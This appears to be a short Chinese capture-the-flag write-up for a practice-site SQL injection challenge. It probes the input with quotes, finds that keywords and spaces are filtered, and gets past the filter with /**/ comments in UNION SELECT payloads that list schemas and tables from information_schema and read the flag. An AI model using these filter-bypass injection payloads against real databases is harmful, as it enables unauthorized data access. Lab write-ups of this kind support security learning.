1. 程式人生 > >實驗吧 簡單的SQL注入1

實驗吧 簡單的SQL注入1

解題連結: http://ctf5.shiyanbar.com/423/web/

解題思路:一,   輸入1,不報錯;輸入1',報錯;輸入1'',不報錯。

二 ,   輸入1 and 1=1,返回1 1=1,可知,and被過濾了。

三,    輸入1 union select,返回1 select,猜測關鍵詞被過濾。

四,    用/**/代替空格,爆庫:1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1。

五,  爆表:1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1。

六,  最後一步:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1。